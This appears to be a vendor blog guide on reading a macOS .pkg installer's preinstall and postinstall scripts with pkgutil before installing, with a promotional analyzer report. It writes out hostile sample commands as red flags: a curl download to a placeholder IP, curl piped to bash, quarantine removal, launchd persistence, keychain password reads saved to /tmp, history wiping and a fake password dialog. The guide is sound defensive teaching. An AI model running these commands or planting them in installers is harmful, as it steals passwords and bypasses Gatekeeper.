Blog · Guide · Before you install it

Read a .pkg installer’s scripts before you install it

When you click Install and type your password, a .pkg can run scripts of its own as root, with full control of your Mac, before the app it promised ever appears. You can read those scripts first. Here is how, in Terminal, without installing anything.

Updated November 15, 2026 · 8 min read

The short answer

  1. Don’t double-click it yet. A package does nothing while it sits in your Downloads folder.
  2. Check who signed it with pkgutil --check-signature.
  3. List what it would install with pkgutil --payload-files.
  4. Unpack it with pkgutil --expand and read preinstall, postinstall and the Distribution file.

A script that downloads and runs something, removes the download mark from a program, or reads your keychain is a reason to stop.

What a .pkg does when you click Install

A disk image (.dmg) only holds files: you drag the app to Applications yourself. An installer package is different. It is a program for Apple’s Installer, and it can carry three kinds of content:

Honest software uses scripts all the time: to stop an old version, register a helper, or set up a background service. That is why a script is not suspicious by itself. What matters is what the script does. Gatekeeper checks who signed the package and whether Apple notarized it; neither tells you what its scripts will do on your Mac.

Look inside without installing

Open Terminal (in Applications › Utilities). Type each command, then drag the package from the Finder onto the Terminal window to paste its path. None of these commands installs or runs anything in the package. The examples use a package named Example.pkg.

1. See who signed it

pkgutil --check-signature Example.pkg
Package "Example.pkg":
   Status: signed by a developer certificate issued by Apple for distribution
   Notarization: trusted by the Apple notary service
   Signed with a trusted timestamp on: 2026-10-07 13:55:21 +0000
   Certificate Chain:
    1. Developer ID Installer: Example Inc. (A1B2C3D4E5)

This is what a downloaded installer should show: a Developer ID Installer certificate naming the developer you expect, and notarization. The other answer you will meet is this one:

Package "Example.pkg":
   Status: no signature

An unsigned package can still be honest, but nobody you can look up stands behind it. You can also ask Gatekeeper directly with spctl --assess --type install -vv Example.pkg: it answers accepted with source=Notarized Developer ID, or rejected. A signature says who made the package. It says nothing about what the scripts do, so keep going either way.

2. List what it would install

pkgutil --payload-files Example.pkg | grep -v '/\._'
.
./usr
./usr/local
./usr/local/bin
./usr/local/bin/helper
./Library
./Library/LaunchDaemons
./Library/LaunchDaemons/com.fake.updater.plist

Paths are relative to where the package installs, usually the root of your disk. The grep hides the ._ entries, which are Finder metadata. This is the test package shown further down, named like a font manager installer, and it installs no app at all: a program in /usr/local/bin and a file in /Library/LaunchDaemons, the folder for background services that start with the Mac and run as root. A list like this one should match what the package says it is.

3. Unpack it into a folder

pkgutil --expand Example.pkg ~/Desktop/Example-expanded
find ~/Desktop/Example-expanded -not -name '._*'
/Users/you/Desktop/Example-expanded
/Users/you/Desktop/Example-expanded/Bom
/Users/you/Desktop/Example-expanded/Payload
/Users/you/Desktop/Example-expanded/Scripts
/Users/you/Desktop/Example-expanded/PackageInfo
/Users/you/Desktop/Example-expanded/Scripts/postinstall

The folder must not exist yet; pkgutil refuses to write into one that does. This package is a single component: its Scripts folder sits at the top, next to PackageInfo, which lists the scripts and the install location. Many installers are product archives instead, and look like this:

Example-expanded/Distribution
Example-expanded/ExampleComp.pkg
Example-expanded/ExampleComp.pkg/Bom
Example-expanded/ExampleComp.pkg/Payload
Example-expanded/ExampleComp.pkg/Scripts
Example-expanded/ExampleComp.pkg/PackageInfo
Example-expanded/ExampleComp.pkg/Scripts/postinstall
Example-expanded/ExampleComp.pkg/Scripts/preinstall

Each inner .pkg folder is a component with its own scripts. Check every one. On the Mac we tested, pkgutil also accepts --expand-full, which is not in its manual page: it unpacks the payload as well, so Payload becomes a folder of the actual files. That is useful when you want to look at the program a script launches.

4. Read the scripts

grep -n -v '^#' ~/Desktop/Example-expanded/Scripts/postinstall
3:xattr -d com.apple.quarantine /usr/local/bin/helper
4:curl -s http://198.51.100.7/config -o /tmp/.cfg
5:launchctl load /Library/LaunchDaemons/com.fake.updater.plist
6:security find-generic-password -wa "Chrome" > /tmp/.k
7:history -c
8:exit 0

The address on line 4 is replaced with a documentation address.

This prints every line that is not a comment, with its line number. cat or any text editor shows the whole file. Six lines, and five of them are warning signs, explained below. Scripts are usually shell scripts, but they can be written in another language or even be compiled programs. If cat prints unreadable characters, run file on the script: a compiled program can’t be read this way, which is a reason for more caution, not less. A script can also be short and call another file from the payload. Follow it.

5. Check the Distribution file

grep -n -E 'system\.run|<script' ~/Desktop/Example-expanded/Distribution

No output means the file holds no JavaScript and calls no program. “No such file or directory” means the package has no Distribution file at all, like the single-component one above. If it does, read the script blocks: system.run runs a program from inside the installer’s own logic. Do this before opening the package in Installer, the program that runs that JavaScript. And if you only want the file list, Installer’s File › Show Files shows it too, but the Terminal commands above give you the same list without opening anything.

What to look for in a script

These are the lines that should make you stop. The examples are written to be inert: their addresses are placeholders.

# downloads code and runs it at once: you never see what runs
curl -fsSL https://cdn.example.com/setup.sh | bash

# removes the download mark, so Gatekeeper never checks the program
xattr -d com.apple.quarantine /usr/local/bin/helper

# installs a startup item and starts it now
cp helper.plist /Library/LaunchDaemons/
launchctl load /Library/LaunchDaemons/helper.plist

# makes a downloaded file in /tmp executable, then runs it
chmod +x /tmp/.update && /tmp/.update

# reads a saved password from the keychain
security find-generic-password -wa "Chrome"

# erases the shell history to hide what was typed
history -c

# a fake system dialog asking for your password
osascript -e 'display dialog "macOS needs your password to continue" default answer "" with hidden answer'
In the scriptWhy it matters
curl … | sh or | bashWhatever the server sends runs as root. The package you checked is not what gets installed.
xattr -d com.apple.quarantineThe quarantine attribute is what makes macOS check a program the first time it opens. Removing it from a program the package installs skips that check.
A file copied into /Library/LaunchDaemons, /Library/LaunchAgents or your own ~/Library/LaunchAgents, then launchctl loadA program that starts every time the Mac does. Normal for a VPN or a backup tool you chose; not for a font, a codec or a “player update”.
chmod +x on a file in /tmpSomething fetched or unpacked at install time, outside the payload you listed, about to run.
security find-generic-password or dump-keychainReads passwords from the keychain. An installer has no reason to.
history -c, or rm of logsCovering tracks.
osascript with display dialog and hidden answerA window the script draws itself, asking for your password, which it then holds in plain text. The installer already asked for it once.
A literal IP address, or long base64 text passed to base64 -dHidden destinations or hidden code. Honest installers name their servers.

One of these alone is not proof. A developer can load its own service with launchctl for good reasons. What gives a package away is the combination, and whether it fits what the package claims to be.

What MacVigil shows

Reading scripts by hand works for one short script. It gets hard when there are five components, a script calls a program from the payload, or the interesting part is in compiled code. MacVigil opens PKG installers with their preinstall and postinstall scripts, their Distribution file and their payload, reads the code without running it, and connects what it finds. Here is its report on the package used in the examples above.

MacVigil Findings view of Font Manager Installer.pkg, 5 KB, dangerous, 28 findings, 17 of them above Info: 1 Critical, 6 High, 7 Medium, 3 Low. The Critical finding is open: removes the download mark from a program it installs, and has launchd start it. Evidence: Scripts/postinstall line 3, xattr -d com.apple.quarantine /usr/local/bin/helper, and line 5, launchctl load /Library/LaunchDaemons/com.fake.updater.plist.
Font Manager Installer.pkg: dangerous. A test installer from MacVigil’s own test suite, made to be harmless and never run. The Critical finding ties three files together: the script that removes the download mark, the launchd file it loads, and the program that file names.

The Critical finding reads: removes the download mark from a program it installs, and has launchd start it. MacVigil cites line 3 of Scripts/postinstall, which removes the quarantine attribute from /usr/local/bin/helper, and line 5, which loads /Library/LaunchDaemons/com.fake.updater.plist. Then it checks the payload: the package installs both files, and that launchd file names /usr/local/bin/helper as the program to start. Together, with nobody accountable for the package, that is a program set to run at startup without Gatekeeper ever checking it.

The other findings cover the rest of the script and the program:

The report also says what it does not establish: that the script would run, that its commands would succeed, or what the program does once started. The files are linked by the paths they name, not by an installation anyone watched. That is the point: you get the conclusion and the lines it rests on, so you can check it yourself.

MacVigil reports; it doesn’t act. It never blocks, removes or quarantines anything. It reads the file, shows you what it found and why, and the decision stays yours. Nothing leaves your Mac.

If the package came inside a disk image, start with how to check a DMG or PKG before opening it. If macOS refused to open the app the package installed, see “macOS cannot verify that this app is free from malware”.

Read the next installer before it runs

MacVigil reads any app, disk image, installer or script without running it, and shows you what it would do to your Mac, with the evidence. Nothing leaves your Mac.

Download free for Mac

More: check a DMG or PKG before opening it · “macOS cannot verify this app” · how MacVigil analyzes a file · all posts and guides

Keep reading

What MacVigil detects here: Persistence · Bundled third-party installs · How it is packaged

How it compares: 12 Mac malware files most antivirus engines missed